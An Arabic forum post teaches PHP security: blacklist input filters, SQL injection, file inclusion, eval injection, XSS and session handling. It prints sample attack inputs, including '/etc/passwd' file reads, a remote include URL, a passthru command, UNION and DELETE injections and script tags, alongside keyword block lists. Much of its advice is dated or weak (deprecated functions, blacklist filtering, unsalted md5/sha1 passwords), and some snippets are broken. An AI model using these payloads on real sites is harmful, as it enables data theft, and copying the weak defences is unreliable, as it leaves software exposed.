ركن لغات البرمجه : :: لغات البرمجه php و asp و Ajax و Java و غيرها

شرح بعض دوال الحماية وبعض طرق الحماية في php

Like Tree8معجبون
  • 4 أضيفت بواسطة Ehab Obaidat‎‏
  • 1 أضيفت بواسطة مشتاقين
  • 1 أضيفت بواسطة Al-Kaiser
  • 2 أضيفت بواسطة shqawe
صورة 'Ehab Obaidat‎‏' الرمزية
Ehab Obaidat‎‏
:: مساعد مشرف ::
:: ركن مشاكل لغات البرمجة ::
تاريخ الإنضمام: 19 - 02 - 2015
رقم العضوية : 263969
الدولة : Palestine - Jerusalem
المشاركات: 8,159
الإجابات المقدمة: 545
  • أرسل رسالة بواسطة MSN إلى Ehab Obaidat‎‏
قديمة 05 - 08 - 2016, 18:33
المشاركة 1
نشاط Ehab Obaidat‎‏
  • قوة السمعة : 54
  • الإعجاب: 2199
    Info شرح بعض دوال الحماية وبعض طرق الحماية في php




    شرح بعض دوال الحماية وبعض طرق الحماية في php



    دالة بسيطة للحماية من اخطار SQLInjection

    الدالة بسيطة :

    رمز PHP:
    <?php  
     
    function SQLinject($var){ 
     
         if(
    eregi("union",$var) || eregi("select",$var) || eregi("'",$var)|| eregi("-",$var)|| eregi("\*",$var)|| eregi("FROM",$var)){ 
         die(
    "<script type=\"text/javascript\">alert(\"/محاولة اختراق من ".$_SERVER['REMOTE_ADDR']."\");</script>"); 
         } 
     

     
    ?>
    طريقة الاستعمال : قلنفترض انه عندنا متغير من نوع GET باسم page :

    رمز PHP:
    http://localhost/index.php?page=-1 
    رمز PHP:
    SQLinject($_GET['page']); 




    وفيك طورها بهذا شكل بأن اضيف عليها قليلاً

    رمز PHP:
    ####### HOW TO USE FUNCTION? ############## 
    #  include("../inc/lib.php");                    # 
    #  SQLinject("$var");                       # 
    ##################################### 
    //SQLinject($_GET['page']); 
     
    function SQLinject($var

          global 
    $go
         
    $xarray = array 
                          ( 
                            
    "select",    "insert",    "update",    "delet",    "great",    "drop",        "grant"
                            
    "union",    "group",    "FROM",        "where",    "limit",    "order",    "by"
                            
    "\.",        "\..",        "\...",        "\/",        "\"",        "\'",        "<"
                            
    ">",         "%",        "\*",        "\#",        "\;",        "\\",        "\~"
                            
    "\&",         "@",        "\!",        ":",         "+",        "-",        "_"
                            
    "(",         ")" 
                        
    ); 
     
        foreach (
    $xarray as $danger
       { 
             if(@
    eregi("$danger",$var)) 
            {die(
    report("[$go] قام بمحاولة اختراق"));} 
        } 
        if(
    $go && $go==""
        { 
            
    report("go=[$go]  قام حذف مدخلات القيمة"); 
        } 

    //=============================// 
    وطبعا الدالة report تقوم بتسجيل محاولات الاختراق، باستخدام الـ ip
    و go هي البيانات المرسلة على النحو:

    رمز PHP:
    mypage.php?go=12 




    وفيك طورها بهذا شكل بأن اضيف عليها قليلاً

    ممكن أيضا لزيادة الحماية القيام ببعض الاضافات:

    رمز PHP:
    function SQLinject($var

          global 
    $go
       
    $vlink trim($var);  
       
    $vlink stripslashes($vlink); 
       
    $vlink nl2br($vlink);  
       
    //$vlink = htmlentities($vlink); 
     
         
    $xarray = array 
                          ( 
                            
    "select",    "insert",    "update",    "delet",    "great",    "drop",        "grant"
                            
    "union",    "group",    "FROM",        "where",    "limit",    "order",    "by"
                            
    "\.",        "\..",        "\...",        "\/",        "\"",        "\'",        "<"
                            
    ">",         "%",        "\*",        "\#",        "\;",        "\\",        "\~"
                            
    "\&",         "@",        "\!",        ":",         "+",        "-",        "_"
                            
    "(",         ")" 
                        
    ); 
     
        foreach (
    $xarray as $danger
       { 
             if(@
    eregi("$danger",$vlink)) 
            {die(
    report("[$go] قام بمحاولة اختراق"));} 
        } 
        if(
    $go && $go==""
        { 
            
    report("go=[$go]  قام حذف مدخلات القيمة"); 
        } 

    //=============================// 
    نعم دوال الحماية كثيرة ، ولكن لكل دالة استخداماتها..
    وذلك بحسب الحاجة اليها..
    مثلاً الدالة التالية تقوم بالتأكد من أن مسلسل الموضوع أو الخبر موجود أصلاً في قاعدة بياناتك
    فإذا كان موجود تقوم بعرضه للزائر وإلا فسوف ترجع القيمة (صفر) وما عليك الا اضافة دالة if للتعامل مع القيمة (0)
    واظهار رسالة (هذا الموضوع غير موجود) مثلا..
    واليك الكود:

    رمز PHP:
    ########### HOW TO USE THIS FUNCTION? ###################
    //include("../inc/lib.php");
    // foundId($s);
    // التخصلص من الاستعلامات الخاطئة
    // التي تحمل رقم تسلسل مزيف
    #################################################

    function foundId($s)
    {
        
    $query_any  = @mysql_query("SELECT `id` FROM news");
        
    $found_any  = @mysql_num_rows($query_any);
        while (
    $row    =    mysql_fetch_array($query_any))
        {
            include 
    "../inc/news_row.php";
            
    // انا استخدم ادراج صفحة بكل حقول الجدول 
               
    بدلا عن كتابتها كل مرة مثلا$id $row["id"]; ... الخ

            
    if ($s == $id)
            {
                
    $ok 1;
            }
        } 
    // end while
        
    if ($ok == 1)
        {
            
    $a $s;
        }
        else
        {
            
    $a 0;
        }
        return 
    $a;
    }
    //================================================// 


    الكود التالي php أيضاً وهو يقوم بعرض رسالة بواسطة (الجافا سكريبت) للزائر وexit لعدم عرض أي شيء
    بعد عرض الرسالة.

    رمز PHP:
    if(foundId==0)
    {
          echo "
            <script type='text/javascript'>
            window.alert('<?php echo "الموضوع الذي تبحث عنه غير موجود"?> \n');
            </script>
             ";
           exit;
    }




    أهمية هذا المقال لمبرمجى اللغة هو التعرف على الأخطاء الأمنية العامة التى من الممكن أن تخلق ثغرات فى برامجهم و مع أن معظم المبادىء التى سوف أذكرها لحقاً تعتبر من البديهيات و لكن عدد لا بأس به من المبرمجين لا ينتبهون إلى مثل هذه الأخطاء ، و للأسف نحن جميعاً نفتقد التدريب الجيد على مفردات برامج صنعناها سابقاً بمعنى أنه من الثابت علمياً أن تنقيح و تطوير برمجيات كتبتها من قبل هو بمثابة تدريب جيد جداً لك لتلافى أخطائك السابقة و ايضاً لجعل شفرتك تحقق غاية البرنامج من طريق أسهل او أقصر ، ما علينا فلنبدأ.

    1- لا تضمن فى برنامجك أبداً ملف مدخل من قبل مستخدم إلا بعد التأكد من إسم الملف ( هناك عدة طرق للتأكد بالجافاسكربت ، أو بالبى اتش بى ) ، أى لا تستخدم أبداً include , require , أو أى من دوال التضمين لملفات مدخلة حتى اسمائها من قبل مستخدمين قبل التأكد من صحة المدخلات.


    مثال
    رمز PHP:
    if(isset($page))
    {
    include(
    $page);

    بما أنه لم يتم التأكد من إسم الملف $page و بناءً على أن register_globals فى وضع التشغيل مما يعنى أنه بإمكان المستخدم إدخال script.php?page=/etc/passwd
    و بناءً على أنه عند تضمين أى إمتداد آخر غير بى اتش بى فإن مترجم اللغة يعرضه فى الصفحة كما هو إذا كان نص مثلاً ، تخيل أن شخصاً استطاع عرض /etc/passwd!!!!!

    تأكد أيضاً من إعداد البى اتش بى الخاص بك حيث أن معظم الإعدادات يكون من المسموح فيها بتضمين ملفات من خوادم أخرى.

    مثال
    رمز PHP:
    script.php?page=http://mysite.com/mal_script.php 
    بإمكان هذا المستخدم تنفيذ أى شفرة على موقعك مثل التعامل مع SSI أو قواعد بياناتك و الحل هو التحقق من صحة مدخلات المستخدم بوضع قاعدة تحقق عملية تخدم غرض برنامجك.

    مثال
    رمز PHP:
    $pages = array('index.html''page2.html''page3.html');
    if( 
    in_array($page$pages) )
    {
    include(
    $page);
    {
    else
    {
    die(
    "Foot Bokra");



    2- تمرير القيم المدخلة من قبل المستخدم لى الدالة eval لأنك بكل بساطة تعطى المستخدم الحق فى تنفيذ أى أوامر مثل:


    رمز PHP:
    script.php?input=;passthru("cat /etc/paswd"); 
    و سوف يتسبب تنفيذ هذا الأمر إخراج ملف /etc/passwd.
    إن إستخدام eval صحيح تماماً للتحقق من صحة مدخلات و لكن لابد من إستخدامها عند الضرورة ، لو أنك تستخدم فى برنامجك ( Templates ) مثلاً أو تستخدم الدالة لإستبدال المدخلات من قبل المستخدم ، إستخدم دالة sprintf بدلاً منها.



    3- تأكد من الخروج من إستعلامات قواعد البيانات SQL Statement بمعنى أن اللغة نفسها تحتوى على خاصية الخروج من جمل SQL بإضافة شرطة مائلة \ قبل حروف معينة أدخلت بواسطة GET , POST , COOKIE و إحدى الأمثلة على هذه الحروف هو العلامة (') و لو أن المدخلات فى جملة الإستعلام تحتوى هذه العلامة فإن مترجم اللغة سوف يضيف تلقائياً شرطة مائلة \ لكى لا يتم معاملة الحرف (') كجزء من الإستعلام ، مثلاً إذا أدخل المستخدم $name فى النموذج form و جملة الإستعلام كالآتى:

    رمز PHP:
    UPDATE users SET Name='$name' WHERE ID=1
    إذا كان المتغير يحتوى على الحرف (') فسوف يضاف الشرطة المائلة \ قبل الحرف و بالتالى لن يؤثر الحرف (') على جملة الإستعلام ، لنتخيل أن المستخدم أدخل المعطيات التالية:

    رمز PHP:
    $name',Admin='
    الآن إستطاع المستخدم إدخال متغير آخر فى جملة الإستعلام و بالتالى حصل على المعلومات المطلوبة ، بإمكانك إستخدام الدوال التالية

    رمز PHP:
    addslashes() أو mysql_escape_string() 
    عند إستخدام متغيرات ممررة من خلال جملة الإستعلام و سوف يقوم بإدخالها المستخدم ، أيضاً الدالة magic_quotes_gpc فهى تضيف الشرطة المائلة تلقائياً و لكنها قد لا تكون فى وضع التشغيل و تستطيع إستخدام الدالة get_magic_quotes_gpc() لمعرفة إذا كانت فى وضع التشغيل أم لا و الأسهل هو إستخدام addslashes() من خلال حلقة تكرارية لإضافة الشرطة المائلة \ لكل المدخلات الممررة من قبل المستخدم.



    4- عند تخزين كلمات المرور فى قاعدة البيانات تأكد من تشفيرها قبل التخزين فى قاعدة البيانات ، لأن قواعد البيانات غالباً ما تتبع حزمة الإستضافة الخاصة بك و غالباً أيضاً ما تكون الإستضافة تشاركية Shared Hosting إذن نستخلص أنك قد لا تعلم بعض الأشخاص المخولين بالدخول لقواعد البيانات ، بإستطاعتك تشفير كلمات المرور بإستخدام تقنيات عدة مثل 3DES أو AES5 و تستطيع فك التشفير لفترة بسيطة للتأكد من أن المستخدم قد أدخل كلمة المرور الصحيحة و الميزة الأساسية فى هذه الطرق هو أنها تعتمد فى التشفير و فك التشفير على مفتاح key يعرفه مدير الموقع ، و لكن هذه الطرق المذكورة بطيئة جداً و تعتمد على لوغاريتمات معقدة و الحل الأمثل لهذه المشكلة هو إستخدام إحدى دوال التشفير الرقمية Session hash functions مثل دالة SHA-1 أو md5.



    5- تابع أخطاء جمل إستعلام SQL
    لنفترض أن جملة الإستعلام التى تستخدمها فى برنامجك للتأكد من إسم المستخدم و كلمة المرور كالآتى:

    رمز PHP:
    $stmnt SELECT login_id FROM users WHERE user '" .
    $_POST["username"] . "' 
    AND password '" . $_POST["password"]; 
    لنفترض أيضاً أن المستخدم أدخل (#) بدلاً من كلمة المرور أى أن جملة الإستعلام أصبحت كالتالى:

    رمز PHP:
    SELECT login_id FROM users WHERE user 'hani'#' AND password = '' 
    بمعنى أنه إستطاع تحويل باقى جملة الإستعلام إلى تعليق بإستخدام الرمز (#) و من ثم أصبحت كلمة المرور خالية!!
    إذن كل ما استخدمه المهاجم هو إسم مستخدم مسجل فى قاعدة البيانات و بالتالى إستخدم الرمز (#) لقصر جملة الإستعلام عند الرمز (#) الذى أصبح ما بعده ( بقية جملة الإستعلام ) عبارة عن تعليق و الحل ذكرناه مسبقاً بإستخدام addslashes().



    6- إستكمالاً لما سبق عن أهمية تشفير كلمات المرور ، بى اتش بى تدعم تلقائياً دوال SHA-1 و أيضاً MD5 الذى تم تطويره فى التسعينيات و لكنه يدعم تشفير حتى 128-bit فقط ، مع العلم أن SHA-1 يدعم حتى 160-bit و سوف نستخدمه كمثال:

    رمز PHP:
    $insertSql .= "'" sha1($_POST["password1"]) . ", "
    ربما تستغرب أننا لم نستخدم addslashes() كما أشرنا سابقاً و لكن لذلك سبب وجيه و هو أن SHA-1 تستخدم فقط الأرقام الستعشرية (Hexadecimal) أى (0 – 9 و A - F) بمعنى آخر الدالة لا تستخدم أى من الحروف الخطرة فى جمل الإستعلام مثل (').

    بإمكانك التحقق من كلمتين المرور المشفرتين (المدخلة من قبل المستخدم ، و الموجودة مسبقاً فى قاعدة البيانات بإستخدام مثلاً:

    رمز PHP:
    $loginQuery .= " password = '"sha1($_POST["password"]) . "'"
    إذا تم التأكد من كلمة المرور المدخلة بأنها مطابقة لتلك فى قاعدة البيانات فسوف نبدأ الجلسات إذن و أخطائها الأمنية.



    7- الجلسات ( Session )

    أخطاء الجلسات الأمنية و التى تخلق ثغرات فى برنامجك تعتمد على ثلاثة طرق:
    الطريقة الأولى هى الإعتراض أو التوقيف و يكون عن طريق إرسال معرف الجلسة كنص عادى عبر الشبكة و الحل لهذه الثغرة بإستخدام إتصال آمن بين المستخدم و الخادم SSL أو TLS على سبيل المثال ، و لا تنسى إستخدام الدالة session_set_cookie_params أو إعداد session.cookie_secure فى ملف ini ، و بهذه الطريقة عندما يطلب المستخدم صفحة معينة على الخادم فإن معرف الجلسة لن يرسل إلا إذا كان الإتصال مشفر بين الخادم و المستخدم.
    الطريقة الثانية وهى التوقع فلو أن معرف الجلسة تم إختياره بشكل سىء (كأن يكون تعداداً تصاعدياً مثلاً) فإن المهاجم يستطيع تخمينه و بالتالى الحصول على معرف جلسة لا تخصه ، و الحل الأمثل هو ربط معرف الجلسة بشىء له علاقة بالمستخدم (جلب الـIP مثلاً) ثم إدخاله فى احدى دوال التشفير المذكورة سابقاً (SHA-1 أو MD5) و سوف يتم انتاج أرقام عشوائية بناءً على ذلك و لكن الخادم بإستطاعته مقارنتها و التأكد منها ما إذا كانت مملوكة للمستخدم أم لا.
    الطريقة الثالثة و هى الإقتحام بالقوة أو بالأحرى البحث و تخمين طريقة عمل معرف الجلسة و من الممكن التخمين إذا كان المبرمج استخدم مثلاً أرقام ما بين 1 و 10.000 و الحل السابق يكفى لتفادى ذلك فقط تأكد من أن التشفير ليس أقل من 128-bit.

    لنفرض أننا بدأنا جلسة ما بعد أن تأكدنا من كلمة مرور المستخدم session_start() لابد أن نعيد تصنيع معرف الجلسة خلال عملية الولوج و تعديل الـcookie عن طريق session_generate_id و بعد ذلك سوف نقوم بتخزين بعض البيانات التى حصلنا عليها من قاعدة البيانات فى الجلسة

    رمز PHP:
    $_SESSION["user"] = new User($userData->login_id$userData->name$userData->email$userData->username); 
    لاحظ المستخدم يتكون من: معرف الدخول login_id ، الإسم name ، البريد email ، إسم المستخدم username.

    فى السطرين التاليين سوف نقوم بتخزين عنوان المستخدم IP و الوقت الذى بدأت فيه الجلسة

    رمز PHP:
    $_SESSION["IP"] = $_SERVER["REMOTE_ADDR"];
    $_SESSION["timestamp"] = time(); 
    الآن تمت عملية تسجيل الدخول

    حماية المحتوى و التحكم فى الوصول للبيانات:
    للتحكم فى الوصول للبيانات بطريقة سهلة لابد من المراجعة على بيانات الدخول و من العوامل المؤثرة التى تخلق ثغرات أمنية هو كيف تتم المراجعة على البيانات و أين توضع بيانات المراجعة.
    على سبيل المثال "includes/session.inc.php" يحتوى على وظائف المراجعة ( تستطيع تضمينه مع الملفات التى تريد حمايتها ) ، و أسهل الطرق للتأكد من أن المستخدم له حق دخول المنطقة المحمية و الوصول للبيانات هو التأكد من أن الجلسة تم إعدادها بشكل صحيح و أنها تحتوى بعض بيانات المستخدم خلال عملية تسجيل الدخول و أول الخطوات هو التأكد من أن المتغيرات محددة فى مصفوفة $_SESSION

    رمز PHP:
    if(!isset($_SESSION["user"])) {
    die(
    "Not logged in");

    أيضاً التأكد من معرف الدخول إذا كانت قيمته رقمية

    رمز PHP:

    if(!is_numeric($_SESSION["user"]->loginID)) {
    die(
    "Not logged in");

    الآن تأكدنا بشكل كبير من أن صاحب الجلسة قد مر بإجراءات تسجيل الدخول و بما أننا لا نعرف إذا كان المستخدم هو صاحب الجلسة الحقيقى فلابد أن نقارن عنوان الـIP بذلك المخزن لدينا إذا لم يكونا متطابقين فسوف نخرج المستخدم


    رمز PHP:
    if($_SESSION["IP"] != $_SERVER["REMOTE_ADDR"]) {
    header("Location: user_logout.php");


    لو أن الوقت المخزن لدينا ليس أكثر من 30 دقيقة (1800 ثانية) سوف نقوم بتصفير الوقت و إعطاءه 30 دقيقة أخرى للتصفح و إذا كان أكثر سوف نقوم بإخراجه

    رمز PHP:

    if((time() - $_SESSION["timestamp"]) > 1800) {
    header("Location: user_logout.php?timeOut=1 ");
    }
    else {
    $_SESSION["timestamp"] = time();

    إن عملية إخراج المستخدم حاسمة جداً حيث أنه من المهم جداً قطع كل صلات البيانات المرتبطة بالجلسة أو بمعرف الجلسة عند إخراج المستخدم و السطر التالى لإخلاء المصفوفة وهذا يعنى أنه تم مسح البيانات السابقة حتى العنوان IP و التوقيت

    رمز PHP:
    $_SESSION = array(); 
    بعد ذلك نخبر مترجم اللغة بإنهاء الجلسة

    رمز PHP:
    session_destroy(); 
    أيضاً مهم جداً أن نمسح معرف الجلسة من الـcookie

    رمز PHP:
    unset($_COOKIE[session_name()]); 


    8- تابع أخطاء جمل إستعلام SQL

    من أخطاء المبرمجين الأمنية الشائعة فى إستخدام جمل الإستعلام هو عدم التأكد من المتغيرات المدخلة إلى جملة الإستعلام مما قد يسبب وصولاً لبيانات غير مسموح الوصول لها و فى المثال التالى نستعرض إحدى الأخطاء الشائعة:

    رمز PHP:
    $id $_GET["id"];
    $result mysql_query("SELECT * FROM `articles` where id=$id;"); 
    – و بما أنه لم يتم التأكد من المتغير $id فإذا قام المستخدم بناءً على ما سبق بإدخال الجملة التالية فى شريط العنوان بالمتصفح

    رمز PHP:
    Page.php?id=0 UNION SELECT FROM `admin_users
    أصبحت جملة الإستعلام كالآتى:

    رمز PHP:
    SELECT FROM `articlesWHERE id=0
    UNION SELECT 
    FROM `admin_users`; 
    مما سوف تكون نتيجته إظهار كل محتويات الجدول `admin_users` و هى بيانات من المفترض أنها غير متاحة ، و الحل بما أن المتغير $id هو رقم إذن ينبغى التأكد من أنه رقم ( فقط ) و هناك طريقتين أرجح إستخدام ثانيهما ، أما الأولى فهى التأكد بإستخدام دالة intval ليصبح:

    رمز PHP:
    $id intval($_GET["id"]); 
    أما الطريقة الثانية و المفضلة فى رأيى:

    رمز PHP:
    $id $_GET["id"];
    If (!
    is_numeric($id)) {
    ………………….echo "foot bokra"
    } else {
    ………………….continue

    و كمثال آخر و لكن المتغير عبارة عن نص:

    رمز PHP:
    $name $_GET["name"];
    $result mysql_query("SELECT * FROM `articles`
    WHERE title=\"
    $name\";"); 
    - و بما أنه لم يتم التأكد من المتغير $name فإذا قام المستخدم بناءً على ما سبق بإدخال الجملة التالية فى شريط العنوان بالمتصفح

    رمز PHP:

    Page
    .php?nameUNION SELECT FROM `admin_users`
    WHERE name="% 
    سوف تكون النتيجةإظهار كل محتويات الجدول `admin_users` و المفترض أنها غير متاحة و الحل بما أن المتغير $name هو متغير نصى إذن ينبغى التأكد أن المتغير المدخل $name يحتوى على نص ( فقط ) و هناك طريقتان للتحقق من أن المدخل نص ( فقط ) و إنهاء جملة الإستعلام ، أما الطريقة الأولى فهى:


    رمز PHP:
    $name str_replace("\""""", $_GET["name"]); 
    أما الطريقة الثانية فهى كالآتى:

    رمز PHP:
    $name str_replace("\"""\\\""$_GET["name"]); 


    9- تابع أخطاء جمل إستعلام SQL

    دائماً ما تستخدم المدخلات فى جملة الإستعلام كمعاملات إذا كان المستخدم ذو خبرة فسوف يستطيع إستخدام هذه المعاملات أيضاً كما ذكرنا سابقاً بضعة أمثلة بإستخدام GET سوف نستخدم POST فى هذا المثال:

    رمز PHP:
    $query "SELECT id, name FROM `records` LIMIT "
    $_POST['NUM'];
    $result $db->select($query); 
    و عند إستخدام الشفرة التالية:

    رمز PHP:
    <form action="form.php" method="POST">
    <
    input type="text" name="NUM"
    value="5; DELETE FROM `records`">
    <
    input type="submit">
    </
    form
    تصبح جملة الإستعلام كالآتى:

    رمز PHP:
    SELECT idname FROM `recordsLIMIT 5;
    DELETE FROM `records
    و لقد رأيت برامج كثيرة غير محمية على الإطلاق من مثل هذا النوع من الهجمات عن طريق معاملات جمل الإستعلام و إليك هذه الدالة البسيطة لتنقيح جمل الإستعلام و بالتالى تفادى بعض من تلك الهجمات:

    رمز PHP:
    function filter_sql($input) {
    $reg "(delete)|(update)|(union)|(insert)";
    return(
    eregi_replace($reg""$input));



    10- أخطاء البرمجة المتقاطعة Cross-Site Scripting XSS

    من الأخطاء الشائعة إستخدام البرمجة المتقاطعة (XSS) و هى تقنية مستخدمة بكثرة لإضفاء مزيد من الديناميكة لمستخدم الموقع بالنسبة للتحكم فى واجهات التصميم و البيانات و كيفية عرضها ، و الحقيقة أن الأخطاء ليست مع PHP فقط و إنما مع أى لغة تستخدم هذه التقنية من خلالها و قد يكون مسار إستخدام وسوم HTML و Javascript هو الشائع من خلال النماذج FORMS مما يعكس أهمية أن تكون البيانات المدخلة منقحة تماماً سواء كانت المدخلات من المستخدم أو من موقع آخر أو حتى من قاعدة البيانات ، و كمثال:

    رمز PHP:
    $note $_GET["note"];
    If (
    $note) {
    echo 
    $note;

    يستطيع المستخدم تنفيذ الشفرة التالية من خلال شريط العنوان فى المتصفح:

    رمز PHP:
    Page.php?note=<script>alert("pop up");</script> 
    هذا مثال بسيط على إمكانية إرجاع وسوم HTML و Javascript إلى المستعرض و سوف تؤثر بطبيعة الحال و اللغات المستخدمة على متصفح العميل و لكن... إذا تم تخزين $note و عرضها لاحقاً لمستخدمين آخرين فسوف تكون النتيجة سيئة للغاية و يستطيع المهاجم مثلاً إدخال شفرة Javascript لتحويل مستخدمى الصفحة إلى صفحة أخرى أو عمل عدد لا نهائى من الرسائل pop up (و للأمانة العلمية هناك أشياء لم و لن أذكرها حتى لا يستخدم هذا المقال فى أذى الناس) و الحل فى تخطى وسمى < >

    كما فى المثال التالى:

    رمز PHP:
    $escapeChars[0] = array('<''>');
    $escapeChars[1] = array("&lt;""&gt;");
    $note str_replace($escapeChars[0],$escapeChars[1],$_GET["note"]); 
    و لإزالة الوسوم:

    رمز PHP:
    $escapeChars[0] = array('<''>');
    $note str_replace($escapeChars[0], ""$_GET["note"]); 
    هناك حلاً أعم قليلاً مما سبق لمنع هذه النوعية من الهجوم و هو إستخدام دالة htmlentities() .



    11- طرق تدفق البيانات

    إن إعتماد أسلوبك الخاص لضخ البيانات هو من الأشياء التى تحقق لبرنامجك الدقة و المرونة و القدرة على الإتساع و المزيد من الديناميكية ، و المقصود من طرق التدفق أن تخطط لبرنامجك أسلوباً يسهل تعديله لاحقاً و مبدئياً لابد أن تضع مخطط شجرى لبرنامجك و إليك مثال على التخطيط.

    - ملف index.php يوضع وحيداً فى الدليل الجذرى Root.
    - ملفات التوصيف الخطرة مثل Config توضع فى دليل و ليكن إسمه على سبيل المثال /lib/.
    - ملفات القوالب توضع فى مجلد يسمى على سبيل المثال /tpl/ و يتم حماية المجلد بإستخدام ملف .htaccess.
    - ملفات الفئات Classes توضع فى مجلد إسمه مثلاً /classes/ و يتم حماية المجلد بإستخدام ملف .htaccess.
    - ملفات الصور مثلاً فى مجلد /images/.
    - إذا كنت تستخدم ملفات فلاش بتقنية ActionScript إستعمل لها مجلداً خاصاً و ليكن إسمه /flashscr/.

    بعد أن قمنا بعمل المخطط الشجرى إتبع الخطوات التالية:

    - ضع كل إستعلامات المستخدم فى ملف index.php بدون معاملات parameters مما يخلق لدينا حاجزاً ذو ذاكرة مؤقتة لتمرير البيانات إلى ملف الفئة الرئيسى الذى بدوره يعرض البيانات فى ملف القوالب.
    - إجعل مدخلات النماذج FORMS بواسطة المستخدم تحول مخرجاتها إلى ملف الفئة لوظائف المستخدم على الهيئة التالية: ?class=account&action=login مما يجعل النموذج مجرد واجهة ربط و ملف الفئة لوظائف المستخدم هو ما يقوم بالإستعلام.
    - إجعل البيانات العائدة من قاعدة البيانات بناءً على المدخلات من المستخدم تمر أولاً على ملف الفئة لتكوين عمليات الجلسات ثم إرسالها للعرض عن طريق ملف الفئة للقوالب و التعديل فى نفس الحاجز ذو الذاكرة المؤقتة لملف index.php.

    اقتباس
    index.php
    |
    |--- ملف الفئة الرئيسى
    |
    |--- إدارة المحتويات
    |--- التسجيل
    |--- الأخبار
    |--- حساب المستخدم
    |--- القوالب
    |
    |-----------|
    |
    |--- مكتبة الدوال
    |--- فئة.الإدارة
    |--- فئة.التسجيل
    |--- فئة.الأخبار
    |--- فئة.المستخدم
    |
    ||--- فئة.القوالب
    ||
    ||--- نظام الملفات
    |
    |--- قاعدة البيانات


    12- طبعا نعرف ان الكثير من الاستغلالات تجي بعد ان يجد المخترق رسالة خطأ
    ممكن يسحب منها المسار أو اليوزر او يستغل الخطأ نفسه مثلا
    ثغرة SQL .. ثغرات ال Remote و هكذا ... المهم موضوعنا مش الثغرات



    الفكرة بسيطة و هي تعطيل رسائل الخطأ هكذا حتى لو كان هناك خطأ مش رح يضهر
    ( لا أتكلم عن كل المخترقين فقط رح تقدر هكذا تمنع عدد كبير منهم )



    ممكن نعطلها هكذا

    رمز PHP:
    ini_set('display_errors','0'); 
    أو هكذا

    رمز PHP:
       ini_set('error_reporting'E_ALL E_STRICT); 
    ini_set('display_errors''Off');
    ini_set('log_errors''Off'); 
    لكن أحيانا تكن هاذي الدالة ممنوعة ف السرفر ( نتكلم عن دالة ini_set )

    ممكن نستعمل هذه أيضا

    رمز PHP:
    error_reporting(0) ; 


    الدالة هذه تعطل اضهار الاخطاء أثناء وقت التشغيل و يمكنكم التعرف عليها أكثر من هنا
    www.php.net/manual/en/function.error-reporting.php

    أو من هنا لاكتساب معلومات اكثر حول التعامل مع الأخطاء في ال php
    www.php.net/manual/en/book.errorfunc.php



    ممكن أيضا اضافة هاذا على الهاتكسس

    رمز PHP:
    php_value display_errors Off 
    و هكذا تريح روحك من التعديل على السكربتات ف المجلدات الفرعية لو كانت كثيرة

    و لو عندك صلاحيات ف السرفر ممكن تعطل اضهار الاخطاء هكذا
    تروح على الملف

    usr/local/lib/php.ini/

    و توقف display_errors

    هكذا display_errors = Off



    و هاذي فنكشن لقيتها على احدى المنتديات فكرتها جميلة جدا
    تمنع الاخطاء عن الزوار و ف نفس الوقت تحفضها ف ملف لكي يستطيع المدراء مشاهدتها

    رمز PHP:
      function error_protect($errno,$errstr,$errfile,$errline){ 
    if(
    error_reporting()>0){
    $file "error_protect.txt";
    file_put_contents($file," ERROR type [$errno] :-> [$errstr] in file  :-> $errfile , in line :-> $errline \n"FILE_APPEND LOCK_EX);
    }


    ثم نناديها هكذا

    رمز PHP:
    set_error_handler("error_protect",E_ALL); 
    13-
    سأطرح بعض الدوال الهامة للحماية في لغة php

    الدالة intval

    وفائدة هذه الدالة التأكد من الاستدعاء من انة رقمي

    واذا لم يكن رقمي تعيد القيمة false



    الدالة abs

    تفيد من التأكد من العدد حيث يجب ان يكون صحيح بدون

    فواصل ودالتين intval abs لهما أهمية كبيرة للحماية من ثغرات sql Injection

    مثال عملي عنهما :

    رمز PHP:
          $value=intval(abs($_GET['id'])); 


    الدالة strip_tags

    هذه دالة تقوم بحذف اكواد html وتفيد بالحماية من ثغرات xss و sql Injection

    طريقة الاستخدام :

    رمز PHP:
          $value=strip_tags($_POST['ehab']); 


    وهناك دالة شبية بها وهي htmlspecialchars

    الفرق بينهما ان الدالة strip_tags تقوم بحذف اكواد HTML

    بينما الدالة htmlspecialchars تقوم بتعطيلها وتعمل كانص عادي

    مثال :

    رمز PHP:
          $value=htmlspecialchars($_POST['ehab']); 


    نأتي الان الى الدالة addslashes

    وهي دالة مهمة للحماية حيث تقوم باضافة / قبل ' او "

    طريقة الاستخدام :

    رمز PHP:
          $value=addslashes($_POST['ehab']); 


    الدالة mysql_escape_string

    دالة مفيدة للغاية حيث أنها تقوم بحذف الاكواد الضارة الخاصة بـ MYSQL

    مثال عملي يوضح هذه دالة :

    رمز PHP:
          $value=mysql_escape_string($_POST['ehab']); 
    حماية من ثغرات file include

    الكثير منا يعلم مدى خطورت هذه ثغرة والحل النهائي لها

    هو function جاهز مع البرنامج file_exists حيث ان هذا function يقوم بالتاكد من وجود الملف ويمكن الاستفادة منة في الحماية من خلال هذا المثال :

    رمز PHP:
       function check_file($file){  if(file_exists($file)){   include $file; }else{ echo "الملف ".$file."غير موجود";  } } 





    واخيرا الدالة md5
    تقوم هذه الدالة بتشفير القيمة المررة أليها مثال كلمات المرور المخزنة في قواعد البيانات حيث يجب تشفيرها لتأمين حماية أكثر لبرمجيتك

    مثال عنها

    رمز PHP:
          $password=md5($_POST['ehab']); 


    و للوهلة الأولى يبدو هذا الكلام عن طرق تدفق البيانات صعب و غير واضح و فى الحقيقة هو بسيط إذا وضعت فى إعتبارك المميزات التالية:

    - تحويل أسرع للبيانات المدخلة ( أياً كان نوعها ) من قبل المستخدم مع تنقيح للبيانات عن طريق طبقة ملف الفئة الرئيسى.
    - تحليل و رصد شامل للأخطاء عن طريق طبقة ملف الفئة الرئيسى.
    - كل ملف من ملفات الفئات يحمل خوصه الذاتية لتنقيح جميع أنواع البيانات المدخلة و المخرجة مع حماية فى الطبقة العليا أى ملف الفئة الرئيسى.

    أخيراً لا تعتقد أن ذلك هو الحل الأمثل فبإستطاعتك إيجاد طرق لتدفق البيانات أسهل و أكثر فعالية فقط بإعمال عقلك جيداً.

    هذا وصلى الله على نبينا محمد , إن أخطاءنا فمن الشيطان و انتظر من لديه المزيد أو الزيادة والنقص على ما كتبنا .


    » ولا تنسى دعوة خالصة من القلب لي ولوالدي...~

    » وبكذا انتهى موضوعي لليوم ...~

    » تقبلو تحياتي انا اخوكم في الله ...~

    » إيهاب...~


    Al-Kaiser, مشتاقين, shqawe و 1 آخرون معجبون بهذا.
    قديمة 05 - 08 - 2016, 18:44
    المشاركة 2
    صورة 'مشتاقين' الرمزية
    مشتاقين
    :: عضو نشيط ::
